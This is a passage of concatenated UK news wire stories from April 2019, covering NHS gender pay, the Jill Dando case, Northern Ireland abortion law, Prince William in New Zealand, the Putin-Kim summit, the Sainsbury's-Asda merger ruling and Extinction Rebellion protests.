a reward. The number to call is 0800 555 111 or the anonymous online form is available at Crimestoppers-uk.org. The reward will expire on July 24. The NHS must promote more flexible working options to encourage women into senior roles, the Health Secretary will say in a speech. Matt Hancock will make a commitment to the one million women employed by the NHS 80% of the overall workforce to tackle the gender pay gap which sees female staff across the NHS paid on average 23% less than men, the Department of Health said. Mr Hancock will describe gender equality as mission critical to the success of the NHS long-term plan. In a speech to the Royal College of Physicians annual conference, Mr Hancock will say: We need an NHS working culture that reflects Britain 2019 and accommodates how people expect to work and live now So it should be deeply troubling to all of us, that the NHS gender pay gap is still 23%, that male GPs are, on average, paid a third more than female GPs and that over half of junior doctors are women, but at consultant level its only a third. The gender gap is a good barometer of the health of the NHS, and its clear we must do better. Health and Social Care Secretary Matt Hancock (Dominic Lipinski/PA) Gender equality is the only way we can hope to build an NHS workforce fit for the future. Its the only way we can address the staff shortages, deliver on the ambitions in our NHS Long Term Plan, and get the workforce we need to create a sustainable NHS that will be there for all of us, for generations to come. The Health Secretary will call for digital rotas to be the norm across the NHS to give people greater freedom to manage their own time and pick up shifts to suit them. Mr Hancock will emphasise that doctors should expect rotas to be fixed a minimum of six weeks in advance in response to stories of doctors missing important personal events because of last minute shift changes. He will also encourage the NHS to promote more roles to eligible staff which are less than full time, term-time only, job-shares and, where possible, enable more home working to bring the health service in line with other sectors. Mr Hancock will also call out recent reports of sexism and discrimination highlighted by female doctors Dr Zoe Norris and Dr Katie Bramall-Stainer as he welcomes the British Medical Associations pledge to conduct a full investigation. The NHS: its a caring organisation. Thats what it does. And yet, sometimes it doesnt care enough about its own workers. So yes, we need more staff, more resources, better technology, and on my watch, we will have all of those. But more than anything we need to create a more caring, a more compassionate culture, he will say. Dr Samantha Batt-Rawden, who chairs The Doctors Association UK, said: We are pleased to see the Secretary of State championing gender equality within the NHS. The current gender pay gap, arduous rotas and inflexible working patterns are all barriers for female doctors training to become consultants or GPs, or in taking up leadership roles. We were particularly pleased to see the stories of doctors who spoke up during our #NHSMeToo campaign highlighted by the Health Secretary. Royal College of Nursing England director Patricia Marquis said: While the Health Secretary challenges the lack of women in medicine, he must help us to shred any idea that nursing is low-paid womens work too. Nursing has its own gender pay gap men, who make up only 10% of nurses, often take many of the top jobs in nursing. Sir Cliff Richard said it is horrifying to think the murderer of his close friend Jill Dando could still be alive and killing other people. The 37-year-old, then one of the BBCs highest-profile stars, was shot outside her home in Fulham, west London, on April 26 1999. Barry George, of Fulham, was initially convicted in July 2001 but was acquitted of killing the presenter at a retrial in August 2008. On the eve of the 20th anniversary of her murder, Sir Cliff spoke of his shock at his friends death, saying: She was beautiful and she was very bright. And somebody killed her for what reason, what kind of motive could there have been? He told an ITV documentary: Its for me horrifying to think that that person still is alive and, who knows, maybe killing other people. Sir Cliff Richard said it is horrifying to think his friends killer could still be out there (Victoria Jones/PA) The programme also features an interview with Mr George, who said he found it overwhelming and ludicrous to be questioned about the murder. He said: My conscience was clear I knew I hadnt done it. Speaking to the Mirror, Ms Dandos neighbour Helen Doble, who found the presenter slumped in the doorway, said: That image of her body is burned into my brain. She said she was speaking out near the anniversary because I hope maybe someone will come forward with information that tells us who and why, and then perhaps justice can be done. A spokesman for the Metropolitan Police said: The investigation into the murder of Ms Dando remains an open investigation, and therefore we cannot comment in any detail other than to say we will always explore any new information which may become available. The UK Government must respond to a court ruling that Northern Irelands abortion laws are in breach of human rights laws, the Women and Equalities Committee has said. The Commons committee called for the Government to set out its timetable to address the breaches identified by a UN committee monitoring womens rights. It comes after a report found that Northern Irelands powersharing crisis had led the devolved government to fail to respond to international human rights obligations. According to the committee, the report also found that the absence of a Northern Ireland Assembly means there are no scrutiny bodies to make sure policies are working well nor any scrutiny of the use of UK Government funds for women and girls seeking an abortion in England. Since the collapse of the powersharing executive in 2017, there have been several significant developments relating to abortion in Northern Ireland. A UN committee found grave and systematic breaches of womens rights, and the UK Supreme Court identified a breach of human rights in relation to cases of fatal foetal abnormality or where the pregnancy has resulted from rape or incest. Maria Miller, chairwoman of the Women and Equalities Committee (PA) The UK Government also introduced funding for women and girls to access free abortion services in England. Committee chairwoman Maria Miller said the committee heard evidence from a wide range of witnesses both in Northern Ireland and in Westminster. These included doctors, nurses and midwives, lawyers, ministers and officials, organisations representing a range of views, and women who spoke to us about their own experiences, she said. The lack of clarity about the current legal situation is creating confusion, fear and inequality. Our report sets out action which the Government must take to address this. The report calls for the UK Government to set out a timetable within the next six months so that an individual victim, such as a victim of rape or incest, does not have to take a case to court. Ms Miller said: The situation of a woman or girl who became pregnant as a result of rape or incest having to pursue a court case highlights precisely why it should not depend on an individual victim to take a case to court. This must be rectified urgently. The report also recommended that the Government Equalities Office should publish its legal advice on the scheme funding women and girls from Northern Ireland to access abortions in England. It also stated that the Department of Health for Northern Ireland should reissue guidance for healthcare professionals making it clear that referring patients to the funded scheme is not unlawful. Ms Miller added: We heard of doctors facing a potential conflict between their duty of care to their patients and the law, and between their duty of confidentiality and the law. They still have not been given guidance on referring women to the UK Government-funded scheme providing free abortions in England which started in 2017. This must be published immediately. It further found that the UK Governments funding for abortion provision in England is not accessed equally by different groups of women and girls. The report recommends that the Government Equalities Office should publish an equality impact assessment on the scheme. Ms Miller continued: In practice, the scheme is more accessible to some women than others, with problems for women on low incomes, or who are too ill to travel, who are facing domestic violence and abuse, have insecure immigration status, or who are not registered with a GP. We must ensure that women who are vulnerable or marginalised have the same access to services as everyone else. Amnesty International UK and the Family Planning Association welcomed the report and called on the UK Government to take immediate action. Grainne Teggart, Amnesty Internationals Northern Ireland Campaign Manager, said: This report is a welcome and urgent intervention that the UK Government cannot ignore. The Committee has made clear that the Government is responsible for delivering urgently needed change on abortion and calls for a timeline and framework to be set out. Devolution does not relieve the UK Government of their obligation to protect and promote the rights of women in Northern Ireland. Inaction is no longer an option. The UK Government cannot remain complicit in the harm caused by the existing abortion regime the time for change is now. Sarah Ewart, a woman who was forced to travel to England for an abortion after being told her pregnancy had a fatal foetal diagnosis, brought her case to Belfast High Court with support from Amnesty. The judgment is pending on this case. Ms Ewart said: Northern Irelands archaic abortion laws have left women like me suffering for far too long. The UK Government has turned a blind eye and ignored the hurt caused to me and others in my circumstances. Karen Murray, director for Northern Ireland at the Royal College of Midwives (RCM), said the report recognises that the current political situation in Northern Ireland is serving neither women nor health professionals well. Womens human rights are being denied and health professionals face serious dilemmas in balancing the law of the land and their professional responsibilities, she said. The current political situation means there is no one willing or able to take action to ensure that womens rights are safeguarded, that misery is averted or that health professionals can do their jobs properly. A government spokesman said: As abortion is a devolved matter, the best way forward is for locally accountable politicians in Northern Ireland to make decisions. We want to see devolved government restored at the earliest opportunity. The Government is carefully considering the committees report and recommendations, and will respond to the report in due course. The Duke of Cambridge was greeted with a traditional Maori nose rub from New Zealands prime minister as he visited a country still coming terms with the devastating mosque shootings. William, visiting the country on behalf of the Queen, performed the intimate greeting known as a hongi as he was warmly welcomed in Auckland by Jacinda Ardern. He began his two-day visit by attending an Anzac Day memorial service and will complete his trip in Christchurch to honour those affected by last months terrorist attack. Ms Ardern has said his visit will bring comfort to the people of New Zealand. On #AnzacDay The Duke of Cambridge attended the Civic Service at @AucklandMuseum in New Zealand, as we remember the servicemen and women of the Australian and New Zealand Army Corps who have served their nation in times of war. #LestWeForget pic.twitter.com/84uwXxgYq1 The Duke and Duchess of Cambridge (@KensingtonRoyal) April 25, 2019 The devastation of the shootings at two mosques during Friday prayers is still keenly felt in the country and was reflected on during the service at Aucklands war memorial. As a nation, we are still grieving for the loss, said Rear Admiral James Gilmour, Commander Joint Forces New Zealand. Describing the attacks as a cruel nightmare, he offered up prayers for the Christchurch community. The Duke of Cambridge at the Auckland Anzac Day Civic Service with Prime Minister Jacinda Ardern (Mark Tantrum/New Zealand Government/PA) William, dressed in a navy blue suit and wearing medals, joined dignitaries and a crowd of invited guests for the ceremony on the countrys national day of remembrance. After arriving at the citys war memorial, he was greeted with a traditional karanga, an exchange of calls that forms part of a powhiri, a Maori welcoming ceremony. He joined in a poignant rendition of hymn Abide With Me, with parts of it sung in the Maori language, before listening to a performance of Requiem for a Soldier. The duke laid a wreath at the cenotaph on behalf of the Queen, before Ms Ardern and Auckland mayor Phil Goff did the same. He joined the crowd in pausing for a minutes silence ahead of the national anthems of the United Kingdom, Australia and New Zealand. A fly past ahead of the national anthems of the UK, Australia and New Zealand being sung. pic.twitter.com/Q1Bf0yVPUf Ellie Cullen (@EllieCullenPA) April 25, 2019 William, travelling without the Duchess of Cambridge or his three children, is visiting New Zealand at the request of Ms Ardern after 50 people were killed and dozens others wounded in the mosque attacks on March 15. He is expected to meet survivors and their families, the first responders who dealt with the aftermath and Muslim community leaders during his short trip. William lays a wreath during the Anzac Day service in Auckland (Brett Phibbs/SNPA via AP) It is not the first time William has visited Christchurch in the wake of a tragedy, with the duke also travelling to the country following a devastating earthquake in 2011. Ms Ardern, who has been praised worldwide for her handling of the mosque attacks, said the duke had a close connection with New Zealand and Christchurch in particular. His visit provides the opportunity to pay tribute to those affected by the mosque terrorist attacks and show support to the local and national community, she said. We welcome this visit by His Royal Highness and know it will bring comfort to those affected. A row over Huaweis role in the UK is among a variety of front page stories on Thursday. The US National Security Agency has warned that allowing Huawei to supply technology for Britains new 5G network is like handing China a loaded gun, the Daily Telegraph reports. The front page of tomorrow's Daily Telegraph: "Huawei deal like giving Beijing a loaded gun" #tomorrowspaperstodayhttps://t.co/0Qcah0Pdv2 pic.twitter.com/BcHUOOwUjE The Telegraph (@Telegraph) April 24, 2019 The Times says a leak of secret discussions on Huawei between the prime minister, senior ministers and intelligence agency heads has caused outrage among spy chiefs and led to calls for an inquiry. Spy chiefs in uproar over leak from secret talks#tomorrowspaperstoday @hendopolis pic.twitter.com/qxGlglAFWj The Times Pictures (@TimesPictures) April 24, 2019 The Daily Mail leads with warnings from the United Nations World Health Organisation over screen time for toddlers. Unicef has warned nearly 170 million children under 10 including half a million in the UK are unprotected from measles, The Guardian reports. The Guardian front page, Thursday 25 April 2019: Half a million UK children at risk of measles after missing vaccinations pic.twitter.com/5QGJuAHMue The Guardian (@guardian) April 24, 2019 A G4S driver stole 1million from his cash-in-transit van, The Sun reports. What the papers say -April 25 A friend of murdered TV presenter Jill Dando has given an account of finding her dead body to the Daily Mirror. Tomorrow's front page: I found Jill Dando's body... it will haunt me for life#tomorrowspaperstoday https://t.co/kvZq7ob5LR pic.twitter.com/KSmyoxQG3d The Mirror (@DailyMirror) April 24, 2019 The Daily Express leads with a backlash against plans to take free TV licences off the elderly. Today's Daily Express front page: - Pensioner perks facing the axe: Free TV licences and winter fuel cash under threat 'to help young' - The Brexit dream team? - Jill Dando murder: Why haven't they found my pal's killer, says Sir Cliff pic.twitter.com/yROZdTEtkV Daily Express (@Daily_Express) April 25, 2019 And the Financial Times leads with a report on a German payment company. Russian president Vladimir Putin has arrived at Vladivostok for a summit with North Korean leader Kim Jong Un. The summit on Thursday reflects Russias effort to position itself as an essential player in the North Korean nuclear standoff. Mr Kims first trip to Russia comes about two months after his second summit with Donald Trump, which failed because of disputes over US-led sanctions on the North. The Russian and Korean leaders are set to have a one-on-one meeting at the Far Eastern State University on Russky Island across a bridge from Vladivostok. Mr Kim arrived in Vladivostok on Wednesday aboard his armoured train (Korean Central News Agency/Korea News Service via AP) The meeting will be followed by broader talks involving officials from both sides. Mr Kim arrived in Vladivostok on Wednesday aboard his armoured train, saying upon arrival that he is hoping for a successful and useful visit. It is Mr Kims first visit to Russia as North Korean leader; his late father, Kim Jong Il, visited Russia in 2011. The North Korean leader evoked his fathers great love for Russia and said that he intends to strengthen ties between the two countries. Mr Putins foreign affairs adviser, Yuri Ushakov, told Russian media the summit would focus on North Koreas nuclear programme, noting that Russia will seek to consolidate the positive trends stemming from Mr Trumps meetings with Mr Kim. Mr Kims second summit with Mr Trump in Hanoi ended without any agreement (AP/Evan Vucci, File) In February, Mr Kims second summit with Mr Trump in Hanoi ended without any agreement because of disputes over US-led sanctions. There have since been no publicly known high-level contacts between the US and North Korea, although both sides say they are still open to a third summit. Mr Kim wants the US to ease the sanctions to reciprocate for some partial disarmament steps he took last year. But the US maintains the sanctions will stay in place until North Korea makes more significant denuclearisation moves. Some experts say Mr Kim could try to bolster his countrys ties with Russia and China (Naoya Osato/Kyodo News via AP) Some experts say Mr Kim could try to bolster his countrys ties with Russia and China. Others say it is not clear how big of a role Russia can play in efforts to restart the nuclear negotiations. Still, the summit could allow Mr Putin to try to increase his influence in regional politics and the standoff over North Koreas nuclear programme. Russian President Vladimir Putin has sat down for talks with North Korean leader Kim Jong Un, saying the summit should help plan joint efforts to resolve a stand-off over Pyongyangs nuclear programme. Speaking at the start of the talks at a university on the Russky Island across a bridge from Vladivostok, Mr Putin voiced confidence that Mr Kims visit will help better understand what should be done to settle the situation on the Korean Peninsula, what we can do together, what Russia can do to support the positive processes going on now. Mr Kims first trip to Russia comes about two months after his second summit with President Donald Trump failed because of disputes over US-led sanctions on the North. Mr Putin meanwhile wants to expand Russias influence in the region and get more leverage with Washington. We welcome your efforts to develop an inter-Korean dialogue and normalize North Koreas relations with the United States, Mr Putin told Mr Kim. For his part, Mr Kim noted that with the worlds attention now concentrated on the Korean Peninsula, I think we will have a very meaningful dialogue on sharing our opinions on this matter while also jointly apprising and studying it. He also congratulated the Russian leader on his reelection to another six-year term last year. North Koreas leader Kim Jong Un speaks to Russian President Vladimir Putin (Alexei Nikolsky, Sputnik, Kremlin Pool Photo/AP) In February, Trump-Kim talks ended without any agreement because of disputes over US-led sanctions. There have since been no publicly known high-level contacts between the US and North Korea, although both sides say they are still open to a third summit. Mr Kim wants the US to ease the sanctions to reciprocate for some partial disarmament steps he took last year. But the US maintains the sanctions will stay in place until North Korea makes more significant denuclearisation moves. North Korea has increasingly expressed frustration at the deadlocked negotiations. Last week, it tested a new weapon and demanded that US Secretary of State Mike Pompeo be removed from the nuclear talks. North Korean leader Kim Jong Un gets off his armoured train (Primorsky Regional Administration Press Service/AP) Mr Kim arrived in Vladivostok Wednesday on board an armoured train, telling Russian state television that he was hoping that his first visit to Russia would successful and useful. He evoked his fathers great love for Russia and said that he intends to strengthen ties between the two countries. The late Kim Jong Il made three trips to Russia, last time in 2011. Like the US, Russia has strongly opposed Pyongyangs nuclear bid. Mr Putin has welcomed President Trumps meetings with Mr Kim, but urged the US to do more to assure Pyongyang over security concerns. Speaking before the talks, Mr Putins foreign affairs adviser Yuri Ushakov said that Russia will seek to consolidate the positive trends stemming from Trump-Kim meetings. He noted that the Kremlin would try to help create preconditions and a favourable atmosphere for reaching solid agreements on the problem of the Korean Peninsula. The Duke of Cambridge offered his support as a good friend of New Zealand as he met police and medics who were among the first on the scene of the devastating Christchurch mosque attacks. William, in New Zealand on a two-day trip on behalf of the Queen, spoke to first responders, officers and medics from St John Ambulance as he visited the citys Justice and Emergency Services Precinct. He also visited a young survivor of the attack who woke from a coma earlier this week in an Auckland hospital. Kensington Palace tweeted a video of the private meeting, in which the duke can be seen sitting at the bedside of five-year-old Alen Alsati at Starship Childrens Hospital. William also met Alens father Wasseim, who was also wounded in the mosque shootings. Describing Williams visit to the country as wonderful, New Zealand police commissioner Mike Bush said the emotion was palpable as the duke discovered more about how the shootings at two mosques unfolded. If I could use the words he used to our staff, a good friend doesnt pick up the phone when a person is in need they travel to their place and put their arms around them, he said. William meets with officers, first responders and members of St John Ambulance who dealt with the aftermath of the Christchurch mosque shootings pic.twitter.com/4plYZCx9kl Ellie Cullen (@EllieCullenPA) April 25, 2019 Mr Bush said William was concerned with checking how those involved in the response were coping more than a month on from the tragedy. He was conscious about them needing to take care of themselves, he added. His main piece of advice was to talk to each other, to not bottle things up to support each other to talk about what they saw and what they do afterwards. There was a moment with all the first responders (where he was) just telling them how important their job was but also the importance of looking after themselves. When he said he was there to put his arms around us as a friend and offer support, that really had an impact on us. William meets police chief Mike Bush (Marty Melville/AP) Mr Bush added that it was good to know that people as important as his royal highness really care about people who have to deal with such tragedies and those people who put their lives on the line to save others. As he arrived at the precinct, William asked staff about how the response was co-ordinated and how they put their training into practice in a real-life situation. Nothing really trains you for seeing it in real life, concluded the duke, who spent time as a pilot with the air ambulance service in East Anglia. Im sure the team pulls together, he said. The duke also asked how quickly officers and medical staff arrived at the scene, and how quickly the attacks unfolded. At the police headquarters, dozens of messages from the people of Christchurch young and old alike graced the corridors, thanking officers for keeping them safe after the shootings. Just a handful of letters from young and old alike thanking the New Zealand police for helping to keep them safe after the mosque shootings. The letters grace the walls of the police building in Christchurch. Very moving to read. pic.twitter.com/wAw6HxfxUU Ellie Cullen (@EllieCullenPA) April 25, 2019 Among them was a card signed by Sadie, which read: Thank you for helping to save all the people in the church. I think youre all very brave. Another said: You never give up and you never ever will give up trying to save NZ. Fifty people were killed and dozens wounded when a gunman opened fire during Friday prayers on March 15. William is due to meet survivors and their families, as well as Muslim community leaders as part of his visit. He began his trip in Auckland on Thursday, where he attended an Anzac Day memorial service. The devastation of the Christchurch shootings is still keenly felt across the country and was reflected on during the service at the citys war memorial. As a nation, we are still grieving for the loss, said Rear Admiral James Gilmour, Commander Joint Forces New Zealand. William, travelling without the Duchess of Cambridge or his three children, is visiting New Zealand at the request of prime minister Jacinda Ardern. William shared a traditional Maori greeting with prime minister Jacinda Ardern (Mark Tantrum/New Zealand Government/PA) It is not the first time William has been to Christchurch after a tragedy, with the duke also visiting after a devastating earthquake in 2011. Ms Ardern, who has been praised worldwide for her handling of the mosque attacks, said the duke had a close connection with New Zealand, and Christchurch in particular. His visit provides the opportunity to pay tribute to those affected by the mosque terrorist attacks and show support to the local and national community, she said. We welcome this visit by his royal highness and know it will bring comfort to those affected. A Bengal tiger has attacked an animal rescues founder in north-western Arizona, but the big cat will not be put down after the man said it was his fault. Keepers of the Wild said on Facebook that founder Jonathan Kraft was working to protect animals from heavy rain, lightning and hail during a Monday storm when Bowie the tiger pushed a gate and attacked. Mr Kraft took the blame for what he called an accident, and said these situations occur when there is human error. Mr Kraft was taken to a hospital with two broken bones and other wounds. The sanctuary said the declawed tiger used his teeth to hold Mr Kraft until staff intervened. Kraft will be recovering for several months. (Ben Birchall/PA) The group said Bowie is fine and will not be put to sleep. Royal Bank of Scotland boss Ross McEwan has resigned after more than five-and-a-half years at the helm, saying it is the right time to step down. Mr McEwan has a years notice period and will stay in the post until a successor has been appointed, and to ensure an orderly handover. The news comes ahead of the lenders annual general meeting being held in Edinburgh later on Thursday. Mr McEwan said he had achieved his strategy set out when he joined the bank, having returned the bank to profitability and put it on a firmer financial footing. He said: After over five-and-a-half very rewarding years, and with the bank in a much stronger financial position, it is time for me to step down as CEO. He added: It is never easy to leave somewhere like RBS. Royal Bank of Scotland boss Ross McEwan is stepping down after more than five-and-a-half years at the helm of the part-nationalised bank. However with much of the restructuring done and the bank on a strong and profitable footing, I have delivered the strategy that I set out in 2013 and now feels like the right time for me to step aside and for a new CEO to lead the bank. RBS chairman Sir Howard Davies said the search for Mr McEwans successor will start immediately, with the bank casting the net internally and externally. Alison Rose, who was recently promoted to deputy chief executive of NatWest Holdings, is seen as the leading internal candidate to take over from Mr McEwan. She has worked at RBS for more than 26 years and her appointment late last year already sparked intense speculation she is being lined up as a successor to Mr McEwan. Mr Davies paid tribute to Mr McEwans time in charge. He said: The board and I are grateful for the huge contribution Ross has made in one of the toughest jobs in banking. His successful execution of the strategy to refocus the bank back on its core markets here in the UK and Ireland has helped to deliver one of the biggest UK corporate turnarounds in history. Mr McEwan took up the post in October 2013 and has led the bank through testing times, having been left largely in the hands of the State after a mammoth 45 billion taxpayer bailout amid the financial crisis. It was more than 80% owned by the Government at one stage, but the taxpayers stake has since reduced to 62.4%. Mr McEwan has presided over a return to profit at RBS, with the 61-year-old New Zealander seeing the lender report its second successive year in the black for 2018 and announcing a 1.6 billion final dividend, resulting in a near 1 billion windfall for the taxpayer. The lender saw bottom-line profits more than double from 752 million last year to 1.62 billion, a 116% increase. Full year pre-tax operating profit rose 50% to 3.4 billion. It marked the banks second year of profits following a decade-long run of stinging losses, during a period marred by crisis-era legacy and conduct charges. Shares slipped 1% after news of Mr McEwans departure. The competition watchdog has blocked Sainsburys 12 billion merger with Asda on the grounds that it would result in higher prices for consumers and damage competition. In its final report into the deal, the Competition and Markets Authority (CMA) found that it would lead to increased prices in stores, online and at petrol stations across the UK. Shoppers and motorists would be worse off if Sainsburys and Walmart-owned Asda were to merge, the CMA said, adding that a tie-up would lead to price rises, reductions in the quality and range of products or a poorer overall retail experience. The watchdog claimed that the deal would have resulted in a substantial lessening of competition at both a national and local level for people shopping in supermarkets. Weve blocked the Sainsburys / Asda merger after finding that it would lead to: Higher prices for groceries and fuel Less choice and worse quality of products A poor shopping experience Read more: https://t.co/FrOpssqwS7 pic.twitter.com/lJQtk9BbeC Competition & Markets Authority (@CMAgovUK) April 25, 2019 Stuart McIntosh, chairman of the CMA inquiry group, said: Its our responsibility to protect the millions of people who shop at Sainsburys and Asda every week. Following our in-depth investigation, we have found this deal would lead to increased prices, reduced quality and choice of products, or a poorer shopping experience for all of their UK shoppers. We have concluded that there is no effective way of addressing our concerns, other than to block the merger. Sainsburys boss Mike Coupe said that the decision effectively takes 1 billion out of customers pockets. Prior to Thursdays decision, Sainsburys and Walmart-owned Asda had offered to sell up to 150 stores as part of efforts to address competition concerns, and claimed that shoppers would be deprived of lower prices should it be blocked. But the CMA found 537 areas where there could be a substantial reduction in competition in supermarkets. The duo had also pledged to make a number of post-merger commitments, had the deal been approved. It included investing 1 billion a year in lowering prices by the third year of the deal completing, equating to a 10% cut on everyday items. Mr Coupe said on Thursday: The specific reason for wanting to merge was to lower prices for customers. The CMAs conclusion that we would increase prices post-merger ignores the dynamic and highly competitive nature of the UK grocery market. The CMA is today effectively taking 1 billion out of customers pockets. Sainsburys, Walmart and Asda have now mutually agreed to terminate the transaction. It is the first major CMA decision since the appointment of former Tory MP Andrew Tyrie as chairman (PA) Shares in Sainsburys tumbled over 5% in morning trade to 214.4p. A merger between the duo, the UKs number two and three supermarkets, would have created a supermarket titan bigger than Tesco with revenues of 51 billion and a network of 2,800 Sainsburys, Asda and Argos stores. But fears had been expressed that suppliers could get squeezed as a result, with the tie-up giving the merged entity increased buying power. The move to reject the merger marks the first major decision the CMA has made since the appointment of former Tory MP Andrew Tyrie as chairman. Best known for his role as head of the influential Treasury Select Committee, Mr Tyrie gained a reputation as an effective inquisitor of corporate figures. It remains unclear where the duo go from here, but it is understood that Walmart will continue to look to sell Asda to another buyer. Walmart chief executive Judith McKenna said: While were disappointed by the CMAs final report and conclusions, our focus now is continuing to position Asda as a strong UK retailer delivering for customers. Walmart will ensure Asda has the resources it needs to achieve that. Roger Burnley, the Asda boss, said that he is disappointed in the CMAs decision. Unions reacted with delight at the decision, with the GMB and Unite hailing it as a victory for staff amid fears of store closures and job losses as a result of the deal. Attention will now turn to Mr Coupe, who is expected to face questions over his future following the breakdown of the deal. The chief executive drew criticism last year after he was caught on camera singing were in the money following the merger announcement. He later apologised, calling it an unfortunate choice of song from the musical 42nd Street. Climate change activists have glued themselves to the London Stock Exchange and climbed on top of a train on the final day of their protests in London. The Extinction Rebellion (XR) demonstrators glued themselves to entrances to the exchange in the City of London wearing LED signs reading climate emergency, tell the truth and you cant eat money. In another London financial district protesters climbed on top of a Docklands Light Railway train at Canary Wharf station in east London. Activists held signs saying business as usual = death and dont jail the canaries. Police have begun removing XR protesters who glued themselves to the London Stock Exchange and are transferring them to police vans nearby. British Transport Police officers used ropes, harnesses and ladders to take down the five Extinction Rebellion protesters who climbed onto a train at Canary Wharf, including 83-year-old Phil Kingston. Extinction Rebellion said its action in the City of London is likely to last a few hours, on the day the group is due to end blockades at Parliament Square and Marble Arch. An XR spokeswoman said the area is being targeted because the financial industry is responsible for funding climate and ecological destruction and we are calling on them, the companies and the institutions that allow this to happen, to tell the truth. She added: And were asking the Government to take action to address the climate emergency. The eco-protesters have been urging ministers to declare a climate emergency to avoid what it calls a sixth mass extinction of species on Earth. In a statement announcing the end of its action XR said: We would like to thank Londoners for opening their hearts and demonstrating their willingness to act on that truth. We know we have disrupted your lives. We do not do this lightly. We only do this because this is an emergency. Extinction Rebellion protesters at the entrance of the London Stock Exchange (Isabel Infantes/PA) The group also said the public should expect more action very soon, adding there will be a closing ceremony at Speakers Corner in Hyde Park on Thursday at 5pm. More than 1,000 people have been arrested during the protests which started on April 15, while more than 10,000 police officers have been deployed. The action has seen Waterloo Bridge and Oxford Circus blocked and a die-in at the Natural History Museum. The London Stock Exchange said the markets were all open as normal. We are currently responding to a protest incident at Canary Wharf station where a @LondonDLR service is being obstructed. Specialist units are on scene who are working to remove the protesters. Please check with @TfL for travel update. pic.twitter.com/BgKz8DI9PG British Transport Police (@BTP) April 25, 2019 A British Transport Police spokesman said: We are currently responding to a protest incident at Canary Wharf station where a @LondonDLR service is being obstructed. Specialist units are on scene who are working to remove the protesters. The force said that at 8am there had been no arrests. A Transport for London spokesman said: We are aware that there are demonstrations taking place across London which may cause disruption to travel. The safety of our customers and staff is our number one priority and were working closely with the police to manage the impact on Londons transport network. We would encourage people to check their journeys before they travel. A spokesman for City of London Police, which deals with the Stock Exchange, said: We are aware protesters have taken direct action in the City this morning. We have a policing plan in place to manage protester activity. Dame Emma Thompson has defended flying from Los Angeles to London to join climate change protests, saying: Its very difficult to do my job without occasionally flying. The actress was last week criticised for hypocrisy after taking the 5,400 mile journey to join Extinction Rebellion (XR) demonstrators in the capital. Dame Emma told BBC radio 4s Today programme on Thursday that she understood the criticism, but said she offsets her carbon footprint by planting trees. Dame Emma Thompson addresses Extinction Rebellion demonstrators (Jonathan Brady/PA) She said: Its very difficult to do my job without occasionally flying, although I do fly a lot less than I did. But we are caught because to travel at all by aeroplane is impossible without causing damage to the planet. Im in the very fortunate position of being able to offset my carbon footprint, but most people cant. The 60-year-old, whose credits include Sense And Sensibility and Love Actually, went on: We should all fly less. Were all going to have to fly less. It will be inevitable in our lives because we cannot continue to use fossil fuels in the way that we have been doing. Its very difficult to let go of, its a bit like smoking actually. We do now know that fossil fuels are threatening the future of the planet so yes its unhappy and an inconvenience and indeed were often involved in situations where we will be hypocritical but if we dont address this we are failing our children and our grandchildren. The future of this planet is at stake and thats perhaps more important than our own reputations. Asked if she is tempted to go into politics, Dame Emma replied: Oh god no. The Duke of Cambridge was greeted with a traditional Maori nose rub from New Zealands prime minister as he visited a country still coming terms with the devastating mosque shootings. William, visiting the country on behalf of the Queen, performed the intimate greeting known as a hongi as he was warmly welcomed in Auckland by Jacinda Ardern. He began his two-day visit by attending an Anzac Day memorial service and will complete his trip in Christchurch to honour those affected by last months terrorist attack. On #AnzacDay The Duke of Cambridge attended the Civic Service at @AucklandMuseum in New Zealand, as we remember the servicemen and women of the Australian and New Zealand Army Corps who have served their nation in times of war. #LestWeForget pic.twitter.com/84uwXxgYq1 The Duke and Duchess of Cambridge (@KensingtonRoyal) April 25, 2019 Ms Ardern has said his visit will bring comfort to the people of New Zealand. The devastation of the shootings at two mosques during Friday prayers is still keenly felt in the country and was reflected on during the service at Aucklands war memorial. As a nation, we are still grieving for the loss, said Rear Admiral James Gilmour, Commander Joint Forces New Zealand. William is greeted by Jacinda Ardern (Mark Tantrum/New Zealand Governm/PA) Describing the attacks as a cruel nightmare, he offered prayers for the Christchurch community. William, dressed in a navy blue suit and wearing medals, joined dignitaries and a crowd of invited guests for the ceremony on the countrys national day of remembrance. He was greeted at the service with a traditional karanga, an exchange of calls that forms part of a powhiri, a Maori welcoming ceremony. After a poignant rendition of Abide With Me, with parts of the hymn sung in the Maori language, the duke listened to a performance of Requiem For A Soldier. He also laid a wreath at the cenotaph on behalf of the Queen and joined the crowd in pausing for a minutes silence ahead of the national anthems of the United Kingdom, Australia and New Zealand. After the end of the service, William privately met four-year-old Alen Alsati and her father Wasseim at Starship Childrens Hospital. Both were injured in the shootings and Alen woke from a coma earlier this week. The final candidates for Northern Irelands three seats in the European Parliament are set to nominate themselves later. Hours before nominations close, outgoing MEP Martina Anderson (Sinn Fein) will submit her papers in Belfast. SDLP leader Colum Eastwood and TUV leader Jim Allister are also expected to submit their nominations on Thursday. SDLP leader Colum Eastwood will contest the European elections (PA) Next months poll comes as the UK Government remains unable to agree a deal to leave the European Union. UK voters electing a fresh batch of MEPs this year had not been planned after the nation voted in 2016 to leave the trading bloc. However, elections to the European Parliament are proceeding after London and European Council agreed to delay Brexit. Northern Irelands three seats in Brussels have historically been divided between the DUP, Sinn Fein and the Ulster Unionists. DUP leader Arlene Foster speaks to media with DUP MEP candidate Diane Dodds (Michael McHugh/PA) Ms Anderson and outgoing DUP MEP Diane Dodds will run again, while veteran Ulster Unionist Jim Nicholson is stepping aside after decades in the European Parliament. Mr Allister previously served as an MEP from 2004-2007, initially elected for the DUParty before leaving to form TUV in 2007. The ardent Brexiteer blasted the delays around the UK leaving the EU, some three years after the 2016 referendum vote, and described the UK electing MEPs in 2019 as shameful. We have arrived at this travesty and wider betrayal of Brexit by reason of the combination of the abysmal weakness of Mrs May and the bully boy tactics of the EU, he said. Brexiteers must fight this election to win. That is why I have nominated to be a candidate in these elections. Voters in the UK will go to the polls next month on May 23. The candidates running for Northern Irelands three seats in the European Parliament are Sinn Feins Martina Anderson, the DUPs Diane Dodds, Danny Kennedy (Ulster Unionist Party), Colum Eastwood (SDLP), Naomi Long (Alliance) and Jim Allister (TUV). Maggie Chapman has been selected as the Scottish Greens top candidate ahead of next months European Parliament election. Ms Chapman, the partys co-convener, said that she was delighted and honoured to have the opportunity to lead the campaign. The Scottish Greens Operations Committee co-convener Lorna Slater is second on the list of candidates, followed by Gillian Mackay, Chas Booth, Mags Hall and Allan Faulds. The European election will be held on May 23, unless the UK agrees a deal to leave the EU before then. Maggie Chapman is the Scottish Green Partys co-convener (Andrew Milligan/PA) Ms 